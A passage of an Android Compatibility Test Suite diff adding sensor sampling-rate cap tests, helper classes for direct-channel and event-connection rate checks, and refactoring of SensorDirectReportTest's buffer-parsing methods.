+        SensorManager sensorManager = mContext.getSystemService(SensorManager.class);
+        Sensor sensor = sensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER);
+        if (sensor == null) {
+            return;
+        }
+        mTestEnvironment = new TestSensorEnvironment(
+                mContext,
+                sensor,
+                SensorManager.SENSOR_DELAY_FASTEST,
+                (int) TimeUnit.SECONDS.toMicros(5));
+        mEventConnectionTestHelper = new SensorRatePermissionEventConnectionTestHelper(
+                mTestEnvironment);
+    }
+
+    public void testResamplingEventConnections() throws Exception {
+        if (mTestEnvironment == null || mEventConnectionTestHelper == null) {
+            return;
+        }
+        // Start an app that registers a listener with high sampling rate
+        Intent intent = new Intent();
+        intent.setComponent(new ComponentName(
+                "android.sensorratepermission.cts.mictoggleoffapi25",
+                "android.sensorratepermission.cts.mictoggleoffapi25.MainService"));
+        mContext.startService(intent);
+
+        // At the same time, register a listener and obtain its sampling rate.
+        List<TestSensorEvent> events = mEventConnectionTestHelper.getSensorEvents(
+                true,
+                NUM_EVENTS_COUNT);
+        double obtainedRate = SensorRatePermissionEventConnectionTestHelper.computeAvgRate(events,
+                Long.MIN_VALUE, Long.MAX_VALUE);
+
+        Assert.assertTrue(mEventConnectionTestHelper.errorWhenExceedCappedRate(),
+                obtainedRate
+                        <= SensorRatePermissionEventConnectionTestHelper.CAPPED_SAMPLE_RATE_HZ);
+    }
+
+    public void testSensorDefaultVerifications() throws Exception {
+        if (mTestEnvironment == null) {
+            return;
+        }
+        TestSensorOperation op = TestSensorOperation.createOperation(
+                mTestEnvironment,
+                NUM_EVENTS_COUNT);
+        op.addVerification(StandardDeviationVerification.getDefault(mTestEnvironment));
+        op.addVerification(EventGapVerification.getDefault(mTestEnvironment));
+        op.addVerification(EventOrderingVerification.getDefault(mTestEnvironment));
+        op.addVerification(JitterVerification.getDefault(mTestEnvironment));
+        op.addVerification(MagnitudeVerification.getDefault(mTestEnvironment));
+        op.addVerification(MeanVerification.getDefault(mTestEnvironment));
+        op.addVerification(EventTimestampSynchronizationVerification.getDefault(mTestEnvironment));
+        op.addVerification(InitialValueVerification.getDefault(mTestEnvironment));
+        try {
+            // Start an app that registers a listener with high sampling rate
+            Intent intent = new Intent();
+            intent.setComponent(new ComponentName(
+                    "android.sensorratepermission.cts.mictoggleoffapi25",
+                    "android.sensorratepermission.cts.mictoggleoffapi25.MainService"));
+            mContext.startService(intent);
+            op.execute(getCurrentTestNode());
+        } finally {
+            SensorStats stats = op.getStats();
+            String fileName = String.format(
+                    "single_%s_%s.txt",
+                    SensorStats.getSanitizedSensorName(mTestEnvironment.getSensor()),
+                    mTestEnvironment.getFrequencyString());
+            stats.logToFile(mTestEnvironment.getContext(), fileName);
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/sensor/sensorratepermission/ReturnedRateInfo/Android.bp b/tests/sensor/sensorratepermission/ReturnedRateInfo/Android.bp
new file mode 100644
index 0000000..71a6165
--- /dev/null
+++ b/tests/sensor/sensorratepermission/ReturnedRateInfo/Android.bp
@@ -0,0 +1,48 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsSensorRatePermissionReturnedRateInfo",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    srcs: [
+        "src/**/*.java",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
+        "androidx.annotation_annotation",
+        "cts-sensors-tests",
+    ],
+    jni_libs: [
+        "libcts-sensors-ndk-jni",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    stl: "c++_shared",
+}
\ No newline at end of file
diff --git a/tests/sensor/sensorratepermission/ReturnedRateInfo/AndroidManifest.xml b/tests/sensor/sensorratepermission/ReturnedRateInfo/AndroidManifest.xml
new file mode 100644
index 0000000..b70df4f
--- /dev/null
+++ b/tests/sensor/sensorratepermission/ReturnedRateInfo/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.sensorratepermission.cts.returnedrateinfo">
+
+    <uses-permission android:name="android.permission.WAKE_LOCK"/>
+
+    <uses-sdk android:minSdkVersion="31" android:targetSdkVersion="31"/>
+
+    <application android:label="ReturnedRateInfo">
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:functionalTest="true"
+                     android:targetPackage=
+                         "android.sensorratepermission.cts.returnedrateinfo"
+                     android:label="Returned Rate Info"/>
+</manifest>
diff --git a/tests/sensor/sensorratepermission/ReturnedRateInfo/src/android/sensorratepermission/cts/returnedrateinfo/ReturnedRateInfoTest.java b/tests/sensor/sensorratepermission/ReturnedRateInfo/src/android/sensorratepermission/cts/returnedrateinfo/ReturnedRateInfoTest.java
new file mode 100644
index 0000000..bd5e499
--- /dev/null
+++ b/tests/sensor/sensorratepermission/ReturnedRateInfo/src/android/sensorratepermission/cts/returnedrateinfo/ReturnedRateInfoTest.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.sensorratepermission.cts.returnedrateinfo;
+
+import android.content.Context;
+import android.hardware.Sensor;
+import android.hardware.SensorManager;
+import android.hardware.cts.helpers.SensorRatePermissionDirectReportTestHelper;
+import android.hardware.cts.helpers.SensorRatePermissionEventConnectionTestHelper;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.Collection;
+import java.util.List;
+
+/**
+ * Test output of the following methods when the app targets API level >= S.
+ * - getMinDelay()
+ * - getSensorList()
+ * - getHighestDirectReportRateLevel()
+ */
+@RunWith(Parameterized.class)
+public class ReturnedRateInfoTest {
+    private static SensorManager mSensorManager;
+
+    private final int sensorType;
+
+    public ReturnedRateInfoTest(int sensorType) {
+        this.sensorType = sensorType;
+    }
+
+    @Parameterized.Parameters
+    public static Collection cappedSensorTypeSet() {
+        return SensorRatePermissionEventConnectionTestHelper.CAPPED_SENSOR_TYPE_SET;
+    }
+
+    @Before
+    public void setUp() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        mSensorManager = context.getSystemService(SensorManager.class);
+    }
+
+    @Test
+    public void testGetMinDelayMethod() {
+        int cappedMinDelayUs = 1 * 1000 * 1000
+                / SensorRatePermissionEventConnectionTestHelper.CAPPED_SAMPLE_RATE_HZ;
+
+        Sensor s = mSensorManager.getDefaultSensor(sensorType);
+        if (s == null) {
+            return;
+        }
+        int minDelay = s.getMinDelay();
+
+        Assert.assertTrue("Min delay cannot be smaller than " + cappedMinDelayUs + " (Us)!",
+                minDelay >= cappedMinDelayUs);
+    }
+
+    @Test
+    public void testGetSensorListMethod() {
+        int cappedMinDelayUs = 1 * 1000 * 1000
+                / SensorRatePermissionEventConnectionTestHelper.CAPPED_SAMPLE_RATE_HZ;
+
+        List<Sensor> allSensorList = mSensorManager.getSensorList(sensorType);
+        if (allSensorList == null) {
+            return;
+        }
+        for (Sensor s : allSensorList) {
+            Assert.assertTrue("Min delay cannot be smaller than " + cappedMinDelayUs + " (Us)!",
+                    s.getMinDelay() >= cappedMinDelayUs);
+        }
+    }
+
+    @Test
+    public void testGetHighestDirectReportRateLevelMethod() {
+        Sensor s = mSensorManager.getDefaultSensor(sensorType);
+        if (s == null) {
+            return;
+        }
+        int obtainedHighestRateLevel = s.getHighestDirectReportRateLevel();
+
+        Assert.assertTrue("Highest direct report rate level cannot be larger than "
+                        + SensorRatePermissionDirectReportTestHelper.CAPPED_DIRECT_REPORT_RATE_LEVEL,
+                obtainedHighestRateLevel
+                        <= SensorRatePermissionDirectReportTestHelper.CAPPED_DIRECT_REPORT_RATE_LEVEL);
+    }
+}
\ No newline at end of file
diff --git a/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java b/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java
index 974d02a..081c982 100644
--- a/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java
@@ -94,7 +94,7 @@
     private static final float GYRO_NORM_MAX = 0.1f;
 
     // test constants
-    private static final int REST_PERIOD_BEFORE_TEST_MILLISEC = 3000;
+    public static final int REST_PERIOD_BEFORE_TEST_MILLISEC = 3000;
     private static final int TEST_RUN_TIME_PERIOD_MILLISEC = 5000;
     private static final int ALLOWED_SENSOR_INIT_TIME_MILLISEC = 500;
     private static final int SENSORS_EVENT_SIZE = 104;
@@ -849,10 +849,12 @@
             mChannel.configure(s2, SensorDirectChannel.RATE_STOP);
 
             readSharedMemory(memType, false /*secondary*/);
-            checkEventRate(TEST_RUN_TIME_PERIOD_MILLISEC / 2, parseEntireBuffer(mBuffer, token1),
-                           type1, rateLevel1);
-            checkEventRate(TEST_RUN_TIME_PERIOD_MILLISEC / 2, parseEntireBuffer(mBuffer, token2),
-                           type2, rateLevel2);
+            checkEventRate(TEST_RUN_TIME_PERIOD_MILLISEC / 2,
+                    parseEntireBuffer(token1, mEventPool, mByteBuffer, SHARED_MEMORY_SIZE),
+                    type1, rateLevel1);
+            checkEventRate(TEST_RUN_TIME_PERIOD_MILLISEC / 2,
+                    parseEntireBuffer(token2, mEventPool, mByteBuffer, SHARED_MEMORY_SIZE),
+                    type2, rateLevel2);
         } finally {
             mChannel.close();
             mChannel = null;
@@ -898,12 +900,12 @@
 
             // check rate
             readSharedMemory(memType1, false /*secondary*/);
-            checkEventRate(TEST_RUN_TIME_PERIOD_MILLISEC, parseEntireBuffer(mBuffer, token1),
-                           type, rateLevel1);
+            checkEventRate(TEST_RUN_TIME_PERIOD_MILLISEC, parseEntireBuffer(token1, mEventPool,
+                    mByteBuffer, SHARED_MEMORY_SIZE), type, rateLevel1);
 
             readSharedMemory(memType2, true /*secondary*/);
-            checkEventRate(TEST_RUN_TIME_PERIOD_MILLISEC, parseEntireBuffer(mBuffer, token2),
-                           type, rateLevel2);
+            checkEventRate(TEST_RUN_TIME_PERIOD_MILLISEC, parseEntireBuffer(token2, mEventPool,
+                    mByteBuffer, SHARED_MEMORY_SIZE), type, rateLevel2);
         } finally {
             if (mChannel != null) {
                 mChannel.close();
@@ -952,7 +954,8 @@
 
             // check direct report rate
             readSharedMemory(memType, false /*secondary*/);
-            List<DirectReportSensorEvent> events = parseEntireBuffer(mBuffer, token);
+            List<DirectReportSensorEvent> events = parseEntireBuffer(token, mEventPool, mByteBuffer,
+                    SHARED_MEMORY_SIZE);
             checkEventRate(TEST_RUN_TIME_PERIOD_MILLISEC, events, type, rateLevel);
 
             // check callback interface rate
@@ -1096,7 +1099,7 @@
         }
     }
 
-    private void waitBeforeStartSensor() {
+    public static void waitBeforeStartSensor() {
         // wait for sensor system to come to a rest after previous test to avoid flakiness.
         try {
             SensorCtsHelper.sleep(REST_PERIOD_BEFORE_TEST_MILLISEC, TimeUnit.MILLISECONDS);
@@ -1151,7 +1154,7 @@
                 }
                 DirectReportSensorEvent e = mEventPool.get();
                 assertNotNull("cannot get event from reserve", e);
-                parseSensorEvent(offset, e);
+                parseSensorEvent(offset, e, mByteBuffer);
 
                 atomicCounter += 1;
                 if (synced) {
@@ -1236,7 +1239,7 @@
                 if (!readSharedMemory(memType, false/*secondary*/, offset, SENSORS_EVENT_SIZE)) {
                     throw new IllegalStateException("cannot read shared memory, type " + memType);
                 }
-                parseSensorEvent(offset, e);
+                parseSensorEvent(offset, e, mByteBuffer);
 
                 atomicCounter += 1;
 
@@ -1369,7 +1372,7 @@
         int nextSerial = 1;
         DirectReportSensorEvent e = getEvent();
         while (offset <= SHARED_MEMORY_SIZE - SENSORS_EVENT_SIZE) {
-            parseSensorEvent(offset, e);
+            parseSensorEvent(offset, e, mByteBuffer);
 
             if (e.serial == 0) {
                 // reaches end of events
@@ -1704,7 +1707,7 @@
         return minMax;
     }
 
-    private static class DirectReportSensorEvent {
+    public static class DirectReportSensorEvent {
         public int size;
         public int token;
         public int type;
@@ -1717,7 +1720,7 @@
     };
 
     // EventPool to avoid allocating too many event objects and hitting GC during test
-    private static class EventPool {
+    public static class EventPool {
         public EventPool(int n) {
             mEvents = Arrays.asList(new DirectReportSensorEvent[n]);
             for (int i = 0; i < n; ++i) {
@@ -1805,14 +1808,15 @@
         }
     };
 
-    private List<DirectReportSensorEvent> parseEntireBuffer(byte[] buffer, int token) {
+    public static List<DirectReportSensorEvent> parseEntireBuffer(int token, EventPool eventPool,
+                ByteBuffer byteBuffer, int sharedMemorySize) {
         int offset = 0;
         int nextSerial = 1;
         List<DirectReportSensorEvent> events = new ArrayList<>();
 
-        while (offset <= SHARED_MEMORY_SIZE - SENSORS_EVENT_SIZE) {
-            DirectReportSensorEvent e = getEvent();
-            parseSensorEvent(offset, e);
+        while (offset <= sharedMemorySize - SENSORS_EVENT_SIZE) {
+            SensorDirectReportTest.DirectReportSensorEvent e = eventPool.get();
+            parseSensorEvent(offset, e, byteBuffer);
 
             if (e.serial == 0) {
                 // reaches end of events
@@ -1835,19 +1839,20 @@
         return events;
     }
 
-    // parse sensors_event_t from mBuffer and fill information into DirectReportSensorEvent
-    private void parseSensorEvent(int offset, DirectReportSensorEvent ev) {
-        mByteBuffer.position(offset);
+    // parse sensors_event_t from byteBuffer and fill information into DirectReportSensorEvent
+    public static void parseSensorEvent(int offset, DirectReportSensorEvent ev,
+            ByteBuffer byteBuffer) {
+        byteBuffer.position(offset);
 
-        ev.size = mByteBuffer.getInt();
-        ev.token = mByteBuffer.getInt();
-        ev.type = mByteBuffer.getInt();
-        ev.serial = ((long) mByteBuffer.getInt()) & 0xFFFFFFFFl; // signed=>unsigned
-        ev.ts = mByteBuffer.getLong();
+        ev.size = byteBuffer.getInt();
+        ev.token = byteBuffer.getInt();
+        ev.type = byteBuffer.getInt();
+        ev.serial = ((long) byteBuffer.getInt()) & 0xFFFFFFFFl; // signed=>unsigned
+        ev.ts = byteBuffer.getLong();
         ev.arrivalTs = SystemClock.elapsedRealtimeNanos();
-        ev.x = mByteBuffer.getFloat();
-        ev.y = mByteBuffer.getFloat();
-        ev.z = mByteBuffer.getFloat();
+        ev.x = byteBuffer.getFloat();
+        ev.y = byteBuffer.getFloat();
+        ev.z = byteBuffer.getFloat();
     }
 
     // parse sensors_event_t and fill information into DirectReportSensorEvent
diff --git a/tests/sensor/src/android/hardware/cts/SingleSensorTests.java b/tests/sensor/src/android/hardware/cts/SingleSensorTests.java
index 1f40188..62bad39 100644
--- a/tests/sensor/src/android/hardware/cts/SingleSensorTests.java
+++ b/tests/sensor/src/android/hardware/cts/SingleSensorTests.java
@@ -174,6 +174,10 @@
         runSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_1HZ);
     }
 
+    public void testAccelerometer_automotive() throws Throwable {
+        runSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_25HZ, true);
+    }
+
     public void testAccelUncalibrated_fastest() throws Throwable {
         runSensorTest(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED, SensorManager.SENSOR_DELAY_FASTEST);
     }
@@ -579,12 +583,18 @@
     }
 
     private void runSensorTest(int sensorType, int rateUs) throws Throwable {
+        runSensorTest(sensorType, rateUs, false);
+    }
+
+    private void runSensorTest(int sensorType, int rateUs,
+            boolean isAutomotiveSpecificTest) throws Throwable {
         SensorCtsHelper.sleep(3, TimeUnit.SECONDS);
         TestSensorEnvironment environment = new TestSensorEnvironment(
                 getContext(),
                 sensorType,
                 shouldEmulateSensorUnderLoad(),
-                rateUs);
+                rateUs,
+                isAutomotiveSpecificTest);
         TestSensorOperation op =
                 TestSensorOperation.createOperation(environment, 5, TimeUnit.SECONDS);
         op.addDefaultVerifications();
diff --git a/tests/sensor/src/android/hardware/cts/helpers/SensorRatePermissionDirectReportTestHelper.java b/tests/sensor/src/android/hardware/cts/helpers/SensorRatePermissionDirectReportTestHelper.java
new file mode 100644
index 0000000..e8d78fb
--- /dev/null
+++ b/tests/sensor/src/android/hardware/cts/helpers/SensorRatePermissionDirectReportTestHelper.java
@@ -0,0 +1,191 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.cts.helpers;
+
+import android.content.Context;
+import android.hardware.HardwareBuffer;
+import android.hardware.Sensor;
+import android.hardware.SensorDirectChannel;
+import android.hardware.SensorManager;
+import android.hardware.SensorPrivacyManager;
+import android.hardware.cts.SensorDirectReportTest;
+
+import com.android.compatibility.common.util.ShellUtils;
+
+import com.google.common.collect.ImmutableSet;
+
+import org.junit.Assert;
+import org.junit.Assume;
+
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
+
+/**
+ * A helper class to test sampling rates of direct sensor channels.
+ */
+public class SensorRatePermissionDirectReportTestHelper {
+    public static final int CAPPED_SAMPLE_RATE_HZ = 200;
+    public static final int CAPPED_DIRECT_REPORT_RATE_LEVEL = SensorDirectChannel.RATE_NORMAL;
+    // Set of sensors that are throttled
+    public static final ImmutableSet<Integer> CAPPED_SENSOR_TYPE_SET = ImmutableSet.of(
+            Sensor.TYPE_ACCELEROMETER,
+            Sensor.TYPE_ACCELEROMETER_UNCALIBRATED,
+            Sensor.TYPE_GYROSCOPE,
+            Sensor.TYPE_GYROSCOPE_UNCALIBRATED,
+            Sensor.TYPE_MAGNETIC_FIELD,
+            Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED
+    );
+    // Use same parameters like in all other tests in this sensor module
+    public static final int TEST_RUN_TIME_PERIOD_MILLISEC = 5000; // 1024 * 5 ms
+    public static final int SENSORS_EVENT_SIZE = 104;
+
+    static {
+        System.loadLibrary("cts-sensors-ndk-jni");
+    }
+
+    private final SensorManager mSensorManager;
+
+    private Sensor mSensor;
+
+    public SensorRatePermissionDirectReportTestHelper(Context context, int sensorType) {
+        mSensorManager = context.getSystemService(SensorManager.class);
+        mSensor = null;
+        for (Sensor sensor : mSensorManager.getSensorList(sensorType)) {
+            if (!CAPPED_SENSOR_TYPE_SET.contains(sensor.getType())) {
+                continue;
+            }
+            if (sensor.isDirectChannelTypeSupported(SensorDirectChannel.TYPE_HARDWARE_BUFFER)) {
+                mSensor = sensor;
+                break;
+            }
+        }
+        Assume.assumeTrue("Failed to find a sensor!", mSensor != null);
+    }
+
+    private static native boolean nativeReadHardwareBuffer(HardwareBuffer hardwareBuffer,
+            byte[] buffer, int srcOffset, int destOffset, int count);
+
+    public static double computeAvgRate(List<SensorDirectReportTest.DirectReportSensorEvent> events,
+            long startTimestamp, long endTimestamp) {
+
+        List<SensorDirectReportTest.DirectReportSensorEvent> filteredEvents = events.stream()
+                .filter(event -> event.ts > startTimestamp && event.ts < endTimestamp)
+                .collect(Collectors.toList());
+
+        double rate = Double.MIN_VALUE;
+        int numOfEvents = filteredEvents.size();
+        if (numOfEvents >= 2) {
+            long lastTimestamp = filteredEvents.get(numOfEvents - 1).ts;
+            long firstTimestamp = filteredEvents.get(0).ts;
+            rate = SensorCtsHelper.getFrequency(
+                    (lastTimestamp - firstTimestamp) / (numOfEvents - 1),
+                    TimeUnit.NANOSECONDS);
+        }
+        return rate;
+    }
+
+    public Sensor getSensor() {
+        return mSensor;
+    }
+
+    /**
+     * Error message being shown in Assert statements of unit tests when the sampling rate exceeds
+     * the allowed capped rate.
+     */
+    public String errorWhenExceedCappedRate() {
+        return String.format(
+                "%s: Sampling rate is expected to be less than or equal to %d (Hz)",
+                mSensor.getName(),
+                CAPPED_SAMPLE_RATE_HZ);
+    }
+
+    /**
+     * Error message being shown in Assert statements of unit tests when the sampling rate is below
+     * its expected rate.
+     */
+    public String errorWhenBelowExpectedRate() {
+        return String.format(
+                "%s: Sampling rate is expected to larger than to %d (Hz)",
+                mSensor.getName(),
+                CAPPED_SAMPLE_RATE_HZ);
+    }
+
+    /**
+     * Flip the microphone toggle to off and assert that it is indeed off.
+     */
+    public void flipAndAssertMicToggleOff(int userID, SensorPrivacyManager spm) {
+        ShellUtils.runShellCommand("cmd sensor_privacy disable " + userID + " microphone");
+        Assert.assertTrue("Failed to switch the mic toggle off!",
+                !spm.isIndividualSensorPrivacyEnabled(
+                        SensorPrivacyManager.INDIVIDUAL_SENSOR_MICROPHONE));
+    }
+
+    /**
+     * Flip the microphone toggle to off and assert that it is indeed on.
+     */
+    public void flipAndAssertMicToggleOn(int userID, SensorPrivacyManager spm) {
+        ShellUtils.runShellCommand("cmd sensor_privacy enable " + userID + " microphone");
+        Assert.assertTrue("Failed to switch the mic toggle on!",
+                spm.isIndividualSensorPrivacyEnabled(
+                        SensorPrivacyManager.INDIVIDUAL_SENSOR_MICROPHONE));
+    }
+
+    /**
+     * Configure a direct channel and return the sensor data in a DirectReportSensorEvent list.
+     */
+    public List<SensorDirectReportTest.DirectReportSensorEvent> getSensorEvents(int rateLevel)
+            throws InterruptedException {
+        int sensorEventCount = 10240; // 800 Hz * 5s + extra
+        int sharedMemorySize = sensorEventCount * SENSORS_EVENT_SIZE;
+        HardwareBuffer hardwareBuffer = HardwareBuffer.create(
+                sharedMemorySize, 1, HardwareBuffer.BLOB, 1,
+                HardwareBuffer.USAGE_CPU_READ_OFTEN | HardwareBuffer.USAGE_GPU_DATA_BUFFER
+                        | HardwareBuffer.USAGE_SENSOR_DIRECT_DATA);
+
+        SensorDirectChannel channel = mSensorManager.createDirectChannel(hardwareBuffer);
+        int token = channel.configure(mSensor, rateLevel);
+        SensorCtsHelper.sleep(TEST_RUN_TIME_PERIOD_MILLISEC, TimeUnit.MILLISECONDS);
+        channel.configure(mSensor, SensorDirectChannel.RATE_STOP);
+        List<SensorDirectReportTest.DirectReportSensorEvent> events =
+                readEventsFromHardwareBuffer(token, hardwareBuffer, sensorEventCount);
+        channel.close();
+        return events;
+    }
+
+    /**
+     * Parse HardwareBuffer to return a list of DirectReportSensorEvents
+     */
+    public List<SensorDirectReportTest.DirectReportSensorEvent> readEventsFromHardwareBuffer(
+            int token, HardwareBuffer hardwareBuffer, int sensorEventCount) {
+        int sharedMemorySize = sensorEventCount * SENSORS_EVENT_SIZE;
+        SensorDirectReportTest.EventPool eventPool = new SensorDirectReportTest.EventPool(
+                10 * sensorEventCount);
+        ByteBuffer byteBuffer = ByteBuffer.allocate(sharedMemorySize);
+        byte[] buffer = byteBuffer.array();
+        byteBuffer.order(ByteOrder.nativeOrder());
+        nativeReadHardwareBuffer(hardwareBuffer, buffer, 0, 0, sharedMemorySize);
+        List<SensorDirectReportTest.DirectReportSensorEvent> events =
+                SensorDirectReportTest.parseEntireBuffer(token, eventPool, byteBuffer,
+                        sharedMemorySize);
+        eventPool.reset();
+        byteBuffer.clear();
+        return events;
+    }
+}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/SensorRatePermissionEventConnectionTestHelper.java b/tests/sensor/src/android/hardware/cts/helpers/SensorRatePermissionEventConnectionTestHelper.java
new file mode 100644
index 0000000..e409208
--- /dev/null
+++ b/tests/sensor/src/android/hardware/cts/helpers/SensorRatePermissionEventConnectionTestHelper.java
@@ -0,0 +1,138 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.cts.helpers;
+
+import android.hardware.Sensor;
+import android.hardware.SensorPrivacyManager;
+import android.os.Handler;
+
+import com.android.compatibility.common.util.ShellUtils;
+
+import com.google.common.collect.ImmutableSet;
+
+import org.junit.Assert;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
+
+/**
+ * A helper class to test sensor APIs related to sampling rates of SensorEventConnections.
+ */
+public class SensorRatePermissionEventConnectionTestHelper {
+    public static final int CAPPED_SAMPLE_RATE_HZ = 200;
+    // Set of sensors that are throttled
+    public static final ImmutableSet<Integer> CAPPED_SENSOR_TYPE_SET = ImmutableSet.of(
+            Sensor.TYPE_ACCELEROMETER,
+            Sensor.TYPE_ACCELEROMETER_UNCALIBRATED,
+            Sensor.TYPE_GYROSCOPE,
+            Sensor.TYPE_GYROSCOPE_UNCALIBRATED,
+            Sensor.TYPE_MAGNETIC_FIELD,
+            Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED
+    );
+
+    private final TestSensorEnvironment mTestSensorEnvironment;
+    private final TestSensorManager mTestSensorManager;
+
+    public SensorRatePermissionEventConnectionTestHelper(TestSensorEnvironment environment) {
+        mTestSensorEnvironment = environment;
+        mTestSensorManager = new TestSensorManager(mTestSensorEnvironment);
+    }
+
+    public static double computeAvgRate(List<TestSensorEvent> events,
+            long startTimestamp, long endTimestamp) {
+
+        List<TestSensorEvent> filteredEvents = events.stream()
+                .filter(event -> event.timestamp > startTimestamp && event.timestamp < endTimestamp)
+                .collect(Collectors.toList());
+
+        double rate = Double.MIN_VALUE;
+        int numOfEvents = filteredEvents.size();
+        if (numOfEvents >= 2) {
+            long lastTimestamp = filteredEvents.get(numOfEvents - 1).timestamp;
+            long firstTimestamp = filteredEvents.get(0).timestamp;
+            rate = SensorCtsHelper.getFrequency(
+                    (lastTimestamp - firstTimestamp) / (numOfEvents - 1),
+                    TimeUnit.NANOSECONDS);
+        }
+        return rate;
+    }
+
+    /**
+     * Error message being shown in Assert statements of unit tests when the sampling rate exceeds
+     * the allowed capped rate.
+     */
+    public String errorWhenExceedCappedRate() {
+        Sensor sensor = mTestSensorEnvironment.getSensor();
+        return String.format(
+                "%s: Sampling rate is expected to be less than or equal to %d (Hz)",
+                sensor.getName(),
+                CAPPED_SAMPLE_RATE_HZ);
+    }
+
+    /**
+     * Error message being shown in Assert statements of unit tests when the sampling rate is below
+     * its expected rate.
+     */
+    public String errorWhenBelowExpectedRate() {
+        Sensor sensor = mTestSensorEnvironment.getSensor();
+        return String.format(
+                "%s: Sampling rate is expected to larger than to %d (Hz)",
+                sensor.getName(),
+                CAPPED_SAMPLE_RATE_HZ);
+    }
+
+    /**
+     * Flip the microphone toggle to off and assert that it is indeed off.
+     */
+    public void flipAndAssertMicToggleOff(int userID, SensorPrivacyManager spm) {
+        ShellUtils.runShellCommand("cmd sensor_privacy disable " + userID + " microphone");
+        Assert.assertTrue("Failed to switch the mic toggle off!",
+                !spm.isIndividualSensorPrivacyEnabled(
+                        SensorPrivacyManager.INDIVIDUAL_SENSOR_MICROPHONE));
+    }
+
+    /**
+     * Flip the microphone toggle to off and assert that it is indeed on.
+     */
+    public void flipAndAssertMicToggleOn(int userID, SensorPrivacyManager spm) {
+        ShellUtils.runShellCommand("cmd sensor_privacy enable " + userID + " microphone");
+        Assert.assertTrue("Failed to switch the mic toggle on!",
+                spm.isIndividualSensorPrivacyEnabled(
+                        SensorPrivacyManager.INDIVIDUAL_SENSOR_MICROPHONE));
+    }
+
+    /**
+     * Register a listener and waits until there are numOfEvents events
+     *
+     * @param specifyHandler true if a {@link Handler} is associated with the instance.
+     */
+    public List<TestSensorEvent> getSensorEvents(boolean specifyHandler, int numOfEvents)
+            throws InterruptedException {
+        TestSensorEventListener listener = new TestSensorEventListener(mTestSensorEnvironment);
+        CountDownLatch eventLatch = mTestSensorManager.registerListener(
+                listener,
+                numOfEvents,
+                specifyHandler);
+        listener.waitForEvents(eventLatch, numOfEvents, false);
+        List<TestSensorEvent> testSensorEventList = listener.getCollectedEvents();
